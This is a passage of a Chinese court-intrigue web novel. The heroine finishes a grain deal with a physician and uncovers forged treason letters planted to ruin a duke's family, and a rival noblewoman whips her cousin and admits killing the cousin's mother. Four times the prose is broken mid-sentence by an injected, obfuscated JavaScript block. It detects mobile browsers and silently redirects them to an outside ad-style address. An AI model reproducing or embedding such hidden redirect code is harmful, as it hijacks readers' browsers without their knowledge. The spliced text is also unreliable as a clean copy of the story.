也不知他这个未来夫君在安锦的心目中及不及得上沈琼华的一星半点重要,不知道若是他遇到这种事情,安锦会不会这般护着他。 裴凉川怎么想都觉得有些不划算,他不过就是想讨个媳妇,结果怎么隐隐有今后都要为沈家做事的趋势。 虽然沈琼华给了银钱,但裴凉川就是有这样一种感觉。 定了定神,裴凉川微笑道:“托沈小姐的福,一切还算顺利。” 沈琼华点了点头,走到绣凳旁坐下,这才看向裴凉川,“不知裴神医收粮收得如何了?” 裴凉川还未来得及开口,安锦便一脸兴奋道:“小姐,价格比市面上的价格便宜了三分之一呢。” “哦,是吗?”沈琼华诧异地看了裴凉川一眼,就看到裴凉川翘着二郎腿看安锦,神情要多嘚瑟就有多嘚瑟。 对于安锦这种反应,裴凉川显然很是受用。 沈琼华轻笑了一声,问道:“竟然能省下这么多,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166193|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来裴神医不是从商户们手上收的粮了。” 若是从商户们手上收的粮,虽然能便宜些,却也没有这么多,想必是跑到村子里自己收的了。 果然,裴凉川的声音里都透着嘚瑟,“当然不是从那些商户们手上收的,我算是知道世人为何说无商不奸了。” “明明是低价收来的粮,到了这些商户手中,却翻了好几番,既然谈不拢,我就直接跑到了那些村子里,说服他们将粮食卖给我。” “我比那些商户多出两成的价格,还帮他们付违约的银子。” “沈小姐,你是没看到,他们都抢着将粮食卖给我。” “若不是花了些违约的银子,你那五万两银子,能卖更多的粮食。” 裴凉川一边说着,一边感叹商人的暴利,这一出一进,可比他给人看病挣的银子多多了。 他看向沈琼华,神情颇有些夸张道:“沈小姐,这做生意可真挣钱,我都想开始做生意了。” “啊?你不当大夫了?”一旁的安锦听裴凉川这样说信以为真,脱口而出道。 “大夫有什么好当的,还没做生意能挣银子。”裴凉川随口调侃道,眼底却划过一抹狡黠。 沈琼华听着他夸张的语气,有些忍俊不禁,知晓他不过就是说说而已,也就安锦这个傻丫头相信了。 见裴凉川逗弄安锦,沈琼华笑着道:“好啊,裴神医若是想要弃医从商,看在安锦的情分上,我必定会让人好好指导你的,避免你走了歪路。” “只是,你舍得吗?” 第二百九十章做生意不比行医 见沈琼华真答应了,裴凉川反而有些讪讪的。 “沈小姐,我就是说说而已。” 裴凉川也不傻,这挣的银子的多少也要看跟谁比。 别看有些商人做的生意大,挣的多,但大多数都是祖上传下来的基业,几代人的积累,挣的银子多自然也就不稀奇。 而有的家底不富裕的商人是小打小闹,做的好了,能挣一笔银子扩大产业,若是被人给算计了,那可能就得倾家荡产了。 裴凉川自问不是一个会做生意的人,起码对比起沈琼华来,在经商方面他是自愧不如的,而且他没有耐心,不然之前也不会想图省事,想要游说安锦与他去江南开酒楼。 他当时是打着自己出银子拿几成股,其他的事情都由安锦管理,他坐等收银子的美梦的。 做生意不比行医。 给人治病凭着他的本事,只要不是像谢南渊之前那般棘手的混毒,基本上他几贴药下去,扎几针,再调养几日,七日内便可康复。 按次数收诊金,药材另算,轻轻松松几千两银子到手,且极其自由,还不用看别人眼色,都是别人奉承他。 而做生意却完完全全不同。 他看人不顺眼,最多是不给其医治,不收人诊金,这做生意,他若是突然厌恶不想做了,总不能半途撂挑子吧? 尤其是经过了这次,裴凉川更加笃定了自己不适合做生意。 他原本还觉着几日时间便可挣那么多银子心里喜滋滋的,可知道真正开始做了才发现这其中的不容易。 就说赶路,那可真是紧赶慢赶,生怕晚了粮食就被别人买走了,哪像之前他给人看病时,都是别人迁就的他。 只要不是立刻就会没命的,就算他在路途中游山玩水也没人敢说什么。 再就是与那些粮商商谈,他要粮食要得急,那些粮商仗着粮食在手,坐地起价。 他真是舔着脸,好话说尽,都还被人甩了脸子。 他裴凉川何时受过这种气,转头就去那些村里买了粮食。 买好的粮食之后,他还得联系好车队,让人帮忙送到指定的庄子存放好。 总之这一趟下来,给裴凉川的感受就是又累,又繁琐,还要陪笑脸受委屈,忙得他一顿好饭都未曾吃过。 虽说挣的银子可能比他行医多一些,但付出的根本与收入不平等。 以往他都是看病然后开方子,其他的事情都不用管了,而今却不同,是从头忙到尾啊。 再者又不是每次都有现在这样的好事,能拿这么多银子,若是他自己做生意,只怕挣得比现在还不如,那他何苦来哉。 现在他有了沈小姐这个稳定的大金主,买起药来毫不手软,出手大方,他自从认识沈小姐以来收到的金子没有一万两也有七八千两,形势一片大好。 裴凉川脑子清醒的很,他只怕是疯了才会弃医从商。 裴凉川两颗眼珠子不停的转动着,时而点头,时而摇头,时而撇嘴,看得安锦眉心紧蹙,不知道他又在想些什么乱七八糟的。 沈琼华见这二人一个坐在椅子上神游天外抖着腿笑得一脸奸邪,一个站在一旁满脸嫌弃,看着这画面,总感觉带着一股莫名的喜感。 沈琼华抚了抚上扬的嘴角,白皙纤柔的手指在桌上用力敲了两下,成功让裴凉川回了神。 沈琼华轻咳一声,道:“既然裴神医将事情完满完成,那按照约定,我会给你四成的银子。” 说到银子,裴凉川的眼神登时就亮了起来。 沈琼华从衣袖里拿出了一个小匣子放在了桌子上,裴凉川拿过打开,里头黄灿灿一片。 “知晓你只收金子,特意去换的。”沈琼华道。 裴凉川满意地合上匣子,看向沈琼华的眼神透着些许谄媚,轻咳一声道:“那什么,沈小姐,若是下次还有这种事情,记得想着我哈。” 虽然累了些,但辛苦一趟能拿这么多还是值得的,空闲时可以做一做,毕竟沈琼华出手大方。 至于其他的生意还是算了,挣的还没他收的诊金多。 沈琼华微笑颔首,“若是后面还需要购粮,一定先找裴神医。” 知晓粮食已经运到了庄子上,给裴凉川的银子也已经给了,此事便告一段了,剩下的便要看谢祁安那边,再随机而动。 虽然已经准备好了大部分粮食,但沈琼华还是希望不会有用上那些粮食的一日。 因为那便意味着谢祁安已经丧心病狂了,为了储位,连边关战事和百姓的死活都不顾,这对于沈琼华来说绝对不是一件好事。 沈琼华坐着马车回了沈府。 又写了信给洛希瑶,告知她粮食已经准备妥当了,让她不要担忧,盖了戳,让芍药亲自送去镇国公府。 接下来的几日,京城风平浪静。 沈府有暗一守着,暗一向沈琼华禀报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166194|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说这几日在沈府外徘徊监视的人明显减少了。 沈琼华也猜到了,只怕是谢南渊打了败仗的消息安慰到了安王,让他放松了警惕。 沈琼华让暗一不要轻举妄动,趁着安王放松,派一半的暗卫前往放粮食的庄子上。 先前谢南渊小题大做,断断续续派了十多个暗卫来沈府保护沈琼华的安全。 眼下沈琼华安安静静待在府中,很少外出,用不上这么多人,更何况如今谢南渊不在京城,正是谢祁安运作的好时候。 沈琼华觉着只要她不轻举妄动,引起外头监视的人的主意,谢祁安应当不会分出精力看着她这边。 沈琼华是想着安王若是真想在粮草的押运上动手脚,她还需要尽快将那些粮食送至边关才是。 这些粮食不能暴露于人前,不然定会打草惊蛇被安王想法子毁了,所以押运粮食的人选就成了重中之重。 普通的镖局肯定是不成的,沈琼华信不过,想来想去,还就是沈府的这些暗卫靠谱。 这些暗卫大都多数都是自小培养的,对谢南渊最是忠心不过,且各个身体强壮,体能强悍,这不比那些镖局习武的人强? 哪知却遭到了暗一的拒绝,“沈小姐,王爷临走之前特意嘱咐了,说我们务必要保证您的安全,这让一半的人去庄子上……” 沈琼华有些无奈,“我又不出门,要这么多暗卫做什么,留下一半足以。” “眼下安王放松了警惕,他们尚可以离开,若是后面安王又警戒起来,想要无声无息离开沈家还不留痕迹让他们察觉到,那可就难了。” 俗话说雁过也会留痕,谢南渊的暗卫武功高强,焉知安王身边就没有高手,若是一下子十多个人从沈府出去,肯定会被人察觉到。 见暗一神色挣扎,沈琼华板起脸道:“暗一!” “属下在!” “王爷派你们来沈家,是不是说了要听我的吩咐!” “是!” “那你这是在做什么?”沈琼华沉声道:“你要明白王爷平安归来,沈家才能有将来,若是王爷不能平安归来,让安王登上了储君之位,就凭你们,能保证得了我的安全吗?” 很显然是不能的。 况且在暗一的心中,终究还是谢南渊占了上风,他拱手道:“是!属下这就去安排。” 当天夜里,十几道黑色的身影便翻越了围墙,向城门而去。 第二百九十一章所求皆落空 就在那些暗卫离开沈家的第二日晌午,边关传来了捷报。 瑞王与镇国公大破敌军,抢夺回了三座城池。 接到此消息,皇上大悦,直夸瑞王有己风范,一时之间,这几日对瑞王不利的那些传闻顿时消失得无影无踪。 安王府。 “碰——” 白玉镇纸砸在了地板上,摔得四分五裂。 安王坐在案几后,呼吸急促,满脸不可置信,“怎会如此!” 明明,明明他回京前早就安排好了一切。 这封战报明明应该是谢南渊输得一败涂地才是,为何是捷报! 不该是捷报的! 安王的对面,站着永宁伯,世子周瑾林以及周令宜。 周瑾林的脸色也与安王一样,一双桃花眼中满是愤怒,“是啊,为何会是捷报,难道这样都拦不住瑞王立战功,难道他就那么神不成?” 此番周瑾林与永宁伯一道上了战场,也杀了一些敌人,原本也该得些奖赏的,却因着最后打了败仗不了了之,与永宁伯一道回了京城。 周瑾林原本就自视甚高,好不容易上一次战场,一心以为此番可以立功受赏,扬眉吐气,却灰溜溜的回来,还要被周围的人挖苦,原本就心中不忿。 现下听到瑞王的捷报,就更是心中犹如火烧一般难受。 周令宜却顾不上什么神不神的,她睁着一双水眸看向谢祁安,“殿下,如今怎么办?难道咱们要眼睁睁地看着瑞王立战功吗?” 周令宜死死的咬住唇,心中不明白为何她想要的总是得不到。 沈家的财产是如此,殿下是如此,安王妃之位是如此,如今她希望瑞王能够死在战场上,让殿下能够顺利将太子之位收入囊中也是如此。 所求皆落空,心中实在是不是滋味。 几日前她还在看沈琼华的笑话,转眼之间,就沦到了沈琼华看她的笑话。 早知道前几日在食鼎楼,林惜颜出身奚落沈琼华的时候,她也应该一起,否则沦落到现在连奚落的机会都没有。 周令宜现在已经选择性地遗忘了那日他们也并未讨到好处,她现在脑子里一团乱,只要想想她奋力挣扎最后却仍是输给了沈琼华,她就不甘心。 凭什么,凭什么她身为名门贵女,想要的都得不到,而沈琼华区区一个商户之女总能轻而易举的得到她想要的。 之前,瑞王上过战场,殿下虽没上过战场,但在京中也积累了一定的威望,两人还能说是不分伯仲。 毕竟殿下不是没有才能,只是没有上战场展现自己才能的机会。 可如今机会给了,殿下上了战场败了,瑞王却赢了,两人之间的差距就显现了出来。 只怕此次瑞王顺利凯旋而归,皇上的心中就明了了。 若是真到了那地步,瑞王被皇上封为了太子,那今后余生她岂不是要时时刻刻火灾沈琼华的阴影中? 要担心沈琼华会不会报复永宁伯府,甚至还要上赶着脸奉承她,讨好她? 这个结果周令宜完全接受不了。 之前在永宁伯府对沈琼华的讨好,甚至后来私底下撕破脸装表面功夫,周令宜都能说服自己。 说服自己都是在隐忍负重,为了殿下的大业牺牲,待殿下大业将成时,曾经受过的**她都会从沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166195|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琼华身上找回来。 可现如今却告诉她,曾经吃过的苦受过的委屈她以后都要继续吃,甚至还得笑着吃,这让她怎么能接受! 谢祁安的想法与周令宜差不多。 自小他就被谢南渊压着,没有得到过多少父爱,他不想今后还要在谢南渊的手下讨生活。 谢祁安青筋暴起,道:“本王自然不会放纵这种局面继续下去。” 他双目赤红地看向永宁伯,“舅舅,咱们之前的计划也该继续实施起来了。” 原本他想着若是谢南渊打了败仗,就不用这么着急,如今看来,还是该继续才是,不然等谢南渊凯旋而归的那一日,恐怕就是皇上下旨册封储君之时。 此话正和永宁伯之意,两人相视一眼,一切尽在不言中。 —— 自边关捷报的讯息传来,沈府门前监视的人顿时就警戒了起来,甚至比之前只多不少。 沈琼华坐在府中,听着暗一的汇报心里跟明镜似的。 安王之前定是以为谢南渊会大败而归,所以才松懈了,却是没想到等来的是捷报,怕是要着急了吧。 “不用管,当做什么都不知道便是。” 暗一点头应下,退了出去。 沈琼华慢慢地端起桌上的茶盏抿了一口茶,眼神落在窗边的兰花上。 接下来就看安王如何出招了,若是仍如上一世一般,那就休怪她心狠手辣了。 洛希瑶得到了捷报的消息,很是高兴了好几日,日日都来找沈琼华。 直至有一日,洛希瑶一脸沉重地进了沈琼华的院子,一进门就将朱红色的大门关上了。 第二百九十二章不能让他逃了! 沈琼华慢慢地端起桌上的茶盏抿了一口茶,眼神落在窗边的兰花上。 接下来就看安王如何出招了,若是仍如上一世一般,那就休怪她心狠手辣了。 洛希瑶得到了捷报的消息,很是高兴了好几日,日日都来找沈琼华。 直至有一日,洛希瑶一脸沉重地进了沈琼华的院子,一进门就将朱红色的大门关上了。 “怎么了?”沈琼华挑眉,笑着迎了上去。 这几日都高高兴兴的,今日怎么哭丧个脸? 洛希瑶走至沈琼华身边坐下,慢慢抬起头,沈琼华这才看清她眼底的愤怒,心里咯噔一声,嘴角的笑容凝固在了脸上。 下一瞬,就听见洛希瑶愤怒而又隐忍的声音响起,“琼华,你预料的不错,果真有人潜进了镇国公府的书房想要做手脚。” 闻言,沈琼华放在膝上的手猛然收紧。 果然,谢祁安还是使用了这等卑鄙的手段。 心中早有准备,但面上却露出一副诧异震惊的样子,不可置信道:“我不过是心有戒备,才提醒你一二,没想到竟被我说中了,这到底是怎么回事?可有什么误会?” “误会?能有什么误会?” 洛希瑶将袖笼中的一沓信件掏出扔到桌子上,咬牙切齿道:“这些信件都是从镇国公府的书房找出来的,上面的字迹与我爹的字迹一模一样。” 沈琼华连忙拿起桌上的信件仔细看起来,耳边洛希瑶的话还在继续,“昨夜午时三刻,我睡得正香,身边的暗卫突然来禀报说看见了府内的一个守卫趁着夜色,偷偷摸进了书房。” “因着你之前的提醒,暗卫是在暗处盯着的,并未打草惊蛇,直至那守卫离开了,才来向我禀报。” “今日一早,我便借口去了书房,结果在书房摆放兵书的箱笼底部发现了这些信件。” “这些信件上面的言论都是大逆不道之言,若是被人捅了出去,我镇国公府焉能有好下场!”洛希瑶回想着信件的内容,心中怒极,一巴掌拍在了桌上。 瑞王和镇国公在边关为了保卫国家与百姓拼死战斗,自己人却在背后使阴招想要致其于死地,怎能不让洛希瑶心寒。 沈琼华翻看这手中的信件,越往下看,心中的惊惧愈盛。 直至将这些信件都看完,颤抖着手将信件放在桌上,心里的震惊也久久不能平息。 这些信件伪造的是镇国公府和陈国主帅的通信。 这信中,不仅泄露了边关的兵力布防图,更是直言让陈国主帅配合镇国公行动,要给瑞**功。 甚至还说若是陈国成功帮助瑞王登上太子之位,等将来瑞王荣登大宝时,便会将边关的七座城池送给陈国。 而且言语之中,甚至透露出镇国公的狂妄自大,对先祖跟随开国皇帝南征北战,只得一个国公之位过于不满。 表明既然如今他坐不上皇位,那将来的皇位必定得是有镇国公府血脉的瑞王来坐才是真正的名正言顺。 这些信的内容委实让沈琼华打开眼界,不得不夸一句谢祁安可真是好手段。 这些内容若是递到皇上面前,不仅表露出了镇国公曾经想要‘取而代之’的心思,还会让皇上对瑞王曾经的战功生疑,令皇上对瑞王彻底厌弃。 同时边关兵力布防图的送出,还给他自己之前兵败找了一个好借口。 沈琼华都不用脑子想,就能猜出,若是到时安王的计谋成功了,将这通敌叛国的锅扣在了镇国公府的头上,坊间定然会有传闻。 称之前安王战败,都是因为镇国公府为了扶持瑞王打压安王,将兵力布防图透露给陈国,这才打了败仗,安王还是有实力的。 这既要又要,厚颜无耻的嘴脸,果然符合谢祁安的一贯作风。 难怪。 难怪上一世皇上会那般震怒。 连给镇国公一个解释的机会都没有,便直接下旨让镇国公府满门抄斩。 上一世,因着谢南渊早死,谢祁安自然是不能将谢南渊牵扯进这其中的。 但由这些信件的内容看来,上一世的信件中肯定也有一些大逆不道的言论,比如……表明镇国公对皇位的觊觎。 对于帝王而言,最忌讳的便是别人盯着他屁股下的那把龙椅。 皇上因镇国公府的权利而忌惮谢南渊,但又何尝不是借着谢南渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166196|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在牵制镇国公呢? 历代镇国公手握三万镇**,各个能够以一敌十,且只听从镇国公的命令,这样的情景下,历代帝王真的能够不生疑虑吗? 说不定上一世谢南渊的早死更是扩大了这种疑虑。 若是谢南渊在,镇国公便扶持谢南渊夺位,可谢南渊若是不在了,那镇国公是不是就想要亲自来这龙椅上坐一坐呢? 若是这样想,也就不难理解为何上一世皇上一怒之下便下令让镇国公府满门抄斩了。 龙之卧榻,岂能容他人酣睡? 谢祁安这是抓住了当今皇上的痛处。 不过如今她重来一世,是定不可能让谢祁安的计划得逞的。 沈琼华狠狠闭了闭眼,再睁开眼时,目光透着些许狠厉,她看向洛希瑶,问道:“将信放入镇国公府书房的那个守卫,你没有将他怎么样吧?” 洛希瑶被这眼神看得一愣,随即反应过来,摇了摇头道:“没有,你之前不是说不要打草惊蛇?我便没有让暗卫将人抓起来,想着与你商议过后再做决定。” “怎么?你想将来个人赃并获?那我这就去让人将他抓起来,与安王来个当庭对峙!” 洛希瑶说着就要朝外走去,被沈琼华给拉住了。 沈琼华笑着摇摇头,“既然安王做出了这一步,定然也会想好若是事发的对策,咱们若是直接将事情掀开,反倒容易会被他给倒打一耙。” “他几次三番蹦跶,为人奸险狡诈,此次若是不借机彻底将他弄死,今后必定会迎来更加狂烈的报复与栽赃手段。” 洛希瑶闻言,眉头蹙得更紧了,看向沈琼华,“你的意思是?” 沈琼华狡黠一笑,站起身凑到洛希瑶耳边低语了几句。 洛希瑶眼睛蹭地一亮,看向沈琼华的眼神满是欣喜,“行啊,琼华,你这是早有准备啊?” 沈琼华轻笑,道:“哪有?我又不能未卜先知,不过是机缘巧合罢了。” 洛希瑶嘿嘿一笑,“好啊,那咱们这次就让安王自食其果。” 沈琼华重重点了一下头,目光放空,嘴中呢喃道:“这一次,定然不能让他逃了!” 第二百九十三章周令宜,你这辈子就是个笑话 两人在屋内嘀嘀咕咕了半天,等到临近黄昏时,洛希瑶才从沈府出来。 与来时不同,洛希瑶只余下满心期待。 —— 安王府。 有专门下人看守的荒僻院落内传来了鞭打的声音与女人的尖叫声。 周令宜一身锦衣华服与周围的环境格格不入,她弯着腰,手中拿着一根鞭子疯狂地抽打着地上不断挣扎的脏污不堪的周令芙。 鞭子划破空气留下一串破空声,她每抽一下,被压在地上的周令芙身上便会多出一道鲜红的伤痕。 周令宜并没有习过武,对于鞭子的使用并不能每次都准确挥到周令芙身上,十鞭内总有一两鞭会落到压着周令芙的采薇身上。 采薇被抽打得疼极了,可是再疼,她也不敢喊,不敢松开周令芙,因为此刻的周令宜神色癫狂,明显不对劲。 采薇怕若是松开了周令芙或者呼疼,刺激到了周令宜,说不定那些鞭打就都会落到她的身上。 “贱人!贱人!你们一个个都要与我对着干!” “我出身世家,乃是侯府嫡女,本就应当得到最好的,凭什么,凭什么你们一个个都要来与我抢!” “你们有什么资格与我抢!” 周令宜一边疯狂挥舞着鞭子,一边喊道,语气中尽显不甘。 这话也不知到底是对周令芙说的,还是对沈琼华说的。 亦或是两者都有。 周令宜到底是娇养的闺阁小姐,最初的奋力之后,便泄了力气,无力地挥舞着,只是嘴中还在不停的咒骂着。 周令芙察觉到身上的疼痛减轻,也不再挣扎躲闪,而是癫狂地大笑了起来。 “哈哈哈哈哈——” 这笑声引得周令宜的注意,她死死盯着周令芙的眼睛,“贱人,你都落到这步田地了,竟还笑得出来!” 周令芙闻言,不仅没有因此收敛,反而笑得更大声了。 她蜷缩着身子看向周令宜,笑意之下裹挟着强烈的恨意,“当然要笑,我怎么会笑不出来?” “反正我都已经是这个样子了,再差也差不到哪里去。” “反倒是你周令宜,从小自诩是金尊玉贵的侯府嫡女,处处算计,如今过得也不怎么样嘛。” “被人压制的滋味不好受吧?被一个看不起的商户之女踩在脚下的滋味如何?” “是不是憋屈的很呐?哈哈哈!”周令芙仰头长笑。 这还是她这段时间频繁遭受虐打,才发现的事情。 周令宜每次打她,激烈的言语之中似乎都透露出些许沈琼华的影子。 在这个猜想证实之后,她心中许久之前对沈琼华仅存的些许厌恶都已经悄然消散了。 周令宜毁了她的一辈子,她就是做鬼都不会放过周令宜。 如今知道了周令宜的痛处在哪,自然要言语奚落一二。 “说起来,我如今反倒有几分想感谢沈琼华了,她竟然能让你这么痛苦。” “你打我打得越狠,就证明你越恨沈琼华,却拿她没有办法,才能在我身上发泄。” “你越恨,越憋屈,打得越狠,我便越高兴,所有你不如意的事情,于我而言,都是令人愉悦的事情。” “周令宜,你不如沈琼华!哈哈哈!” 随着这最后一声狂笑的落下,周令宜登时猩红了双眼,目眦欲裂,痛苦的嘶吼了一声,手上的力道加重。 “你不是高兴吗?那本小姐就让你高兴个够!” “你以为你是谁?不过就是个寄人篱下的旁支,一个不知廉耻的爬床的玩意儿,竟也敢看我的笑话!” “你不是想感谢沈琼华吗?啊?我倒要看看,到底是你的骨头硬,还是我的鞭子硬!” 周令宜一边怒骂着,手上的动作不停,偏偏周令芙经过这段时间的折磨精神都已经有些不正常了。 反正无论如何周令宜都不似放过她,那还不如骂个痛快。 这样想着,周令芙的声音更大了。 “哈哈哈!打!你使劲打!” “周令宜,你这辈子就是个笑话!” “端了十多年的贵女架子,与安王不清不楚,结果呢?” “你为了安王算计沈琼华,却连累永宁侯府由侯爵降为了伯爵。” “结果呢?安王转眼间就抛弃了你,与林惜颜定亲。” “你说说,你这叫什么?” “上赶着都没人要!哈哈哈!” “啊——贱人!你闭嘴啊!殿下才不会这样对我!你闭嘴!” 周令芙的话无疑戳中了周令宜的另一大痛处。 周令宜眼神逐渐有些癫狂,鞭子胡乱地甩着,落在周令芙的身上,布满灰尘的破旧凳椅上,以及四周的墙壁上,甚至自己的手背也留下了一道鲜红的划痕。 终于,一声清脆的断裂声响起,鞭子断了,拉回了周令宜的些许理智。 她缓了缓,看清地上周令芙遍布鞭痕,红肿流血的惨样,轻笑了一声。 她丢下手中的残鞭,掐住还在不断挑衅的周令芙的脆弱的颈脖,居高临下道:“你不会还在做着吴氏那个蠢货会来救你的美梦吧。” 周令芙没有说话,只是愤愤地瞪着她。 爹有许多子嗣,可能会舍弃她,但娘只有她一个女儿,是断然不会弃她于不顾的。 周令宜似是终于发现了一个有趣的事情,哈哈大笑了起来,随后猛地收住,怜悯中带着戏谑与嘲讽的眼神看着周令芙,似是在嘲笑她的痴人说梦。 紧接着,她在周令芙不解的目光中缓缓开口,“别做梦了!吴氏死了!尸身都凉得透透的被丢去了乱葬岗,说不定这会儿都已经在野狼的肚子里了!哈哈哈!” 第二百九十四章你与你娘一样蠢 “你……你说什么?” 周令芙猝然抬头看向周令宜,整个大脑一片空白。 周令宜见她这副样子,唇角的笑意愈发深了,看着她的眼睛,一字一句道:“我说,你别白日做梦了,吴氏那个蠢货已经死了,她不会来救你了!” “不!这不可能!”周令芙使劲摇了摇头,眼中满是仓皇与不可置信,似是有什么东西破碎了。 “母亲的身体一向康健,怎么可能突然死了?” “而且我母亲乃是永宁伯府名正言顺的二夫人,还是祖母的亲侄女,若真是死了,应当风光大葬才是,怎么可能会被丢去了乱葬岗?” 说着,她似是想到了什么,盯着周令宜那盛满笑意的脸,原本已经败落不堪的身体不知从哪里涌出来的力气,猛然从地上窜起来朝周令宜扑去。 周令芙的动作太过突然,谁也没想到已经被抽得皮开肉绽的人会突然爆发,等采薇反应过来时,周令芙的手已经死死地掐住了周令宜纤弱的颈脖。 “放开小姐!”采薇上前去拉走周令芙,奈何周令芙此刻蛮力奇大,竟然死不松手。 “哈哈哈……唔……” 周令宜一边笑,一边翻着白眼。 站在门口跟着周令宜来的两个膀大腰圆的嬷嬷听着动静不对,连忙冲了进来,三人合力才将周令芙拉开。 周令芙被拉开了,却还在拼命挣扎想要朝周令宜身上扑去,嘴里还喊道:“是你!一定是你!是你害死了我母亲!我杀了你!” 一定是周令宜这个贱人下的手! 不然母亲身体一向康健,断不会死得这么突然,更不可能会将母亲的尸体扔去乱葬岗! 乱葬岗是什么地方? 只有最低贱和罪大恶极的人死后的尸体才会扔去乱葬岗成为孤魂野鬼。 这是想让母亲在死后也不得安宁! 周令宜吸入新鲜的空气,缓了缓,这才抚着心口道:“哈哈哈!对!没错!就是我!” 得到肯定的回答,周令芙挣扎得更加厉害了,“你……你就是个疯子,我母亲是永宁伯府的二夫人,是你的长辈,你怎么敢!你怎么敢!” 周令宜笑着缓缓上前,隔着帕子掐住周令芙的脸,挑眉道:“我原本也不想杀她的,谁让吴氏蠢了一世,难得聪明一回却用错了地方。” “她命人跟踪我,发现我来了安王府,在伯府大门口等我,想让我带她来见你一面。” “却无意中发现了我裙摆上沾染的你的鲜血,猜到你出了事,还猜到是我动的手。” “原本她识趣一些,装作什么都不知道,伯府也不是不能继续将养着她。” “可她偏偏不知死活,竟想将我与殿下的关系捅出去让林家知晓,意图挑拨安王府与林家的关系,搅黄殿下的谋算。” “她自己要找死,我又有什么法子。” 周令芙听着周令宜的描述,目眦欲裂,“周令宜,你这个贱人!你杀害长辈,你会有报应的,周家的列祖列宗都会惩罚你这个不仁不孝的畜生,若是祖母知晓定会将你逐出永宁伯府!” 也不知是被周令芙无能狂怒的样子愉悦到,还是周令芙的话太过于可笑,周令宜笑得更欢了。 这个蠢货,竟然会觉得祖母会护着吴氏,将她逐出永宁伯府。 在祖母的心中,只有伯府的前程是最重要的。 至于吴氏,一个败落的娘家侄女,不仅没有为伯府开枝散叶,唯一生下的女儿又成了弃子,有什么资格与她这个将来可能会成为皇后的伯府嫡女相比。 “周令芙,你果然与你娘一样蠢!” “你觉得没有祖母的同意,我敢这样对吴氏吗?” 周令宜话落,周令芙挣扎的动作骤然一顿,随后剧烈摇头,“不!不可能!我母亲是祖母的亲侄女!是血脉至亲!感情深厚!祖母不可能会这样对她的!” 或许祖母已经放弃了她,但绝不可能任由周令宜杀了母亲。 “感情深厚?哈哈哈!”周令宜捂嘴笑了起来,“或许是有那么一点点吧,但这一切都被吴氏的愚蠢被毁了。” 周令宜戏谑道:“吴氏那个蠢货,求祖母放过你,祖母不同意,她竟然一气之下想拿簪子行刺祖母,将祖母吓得不轻。” “于是祖母便彻底厌弃了她,将她交给了我处理。” “说起来,这一切都是因你而起,周令芙,若不是你肖想了不属于你的东西,吴氏又怎会落到这个下场?” “是你!害死了吴氏!” “我……是我害了母亲?是我?哈哈哈,没错,怎么不是我呢?”周令芙捂着脸痛哭了起来。 若不是她不甘心嫁给凡夫俗子,执意要去荣华富贵里走一遭,她们母女又怎会落得这么个下场。 早知如此,那一日的寿宴上,她一定不会进那间厢房。 不。 除了她。 还有永宁伯府的所有人,周令宜,老夫人,林氏,还有父亲……一个都跑不掉。 周令芙猛然看向周令宜,眼里的恨意化为实质,“不,还有你们,你们都是罪魁祸首,周令宜,你最好不要让我翻身,不然,我定会让你生不如死!让整个永宁伯府为我娘的死付出代价!” 都这个时候了,竟然还在大言不惭! 周令宜心中嗤笑,“怎么?想报仇?可惜你没有这个机会了。” “实话告诉你,我眼下留着你一条贱命,就是想要让你死在林惜颜进安王府的那一日,为永宁伯府做出最后一点奉献。” “如此,也不枉伯府养你一场。” 周令芙倏然瞪大眼睛,“你敢!” “我有什么不敢的?周令芙,你不会真以为我是因为什么怕祖宗怪罪同族相残不敢杀你吧?还真是蠢的可以。”周令宜冷笑道,言语中尽显不屑。 她若是迷信这种,就不会杀了吴氏的了。 再者,若祖宗真的显灵,只怕也会赞成她这么做。 用一个满是污点的周令芙,换一个将来能将林惜颜从安王妃的位置上拉下来的机会,任谁都知道该如何选。 突然,外头响起了婢女的声音,“周小姐,殿下找您。” 周令宜站直身体,“你就好好享受享受这剩下的时光吧,祈求那一日不会早点到来。” 说完,便朝外走去。 采薇急忙跟上,两个嬷嬷也将周令芙甩在了地上,退了出去,关上了门。 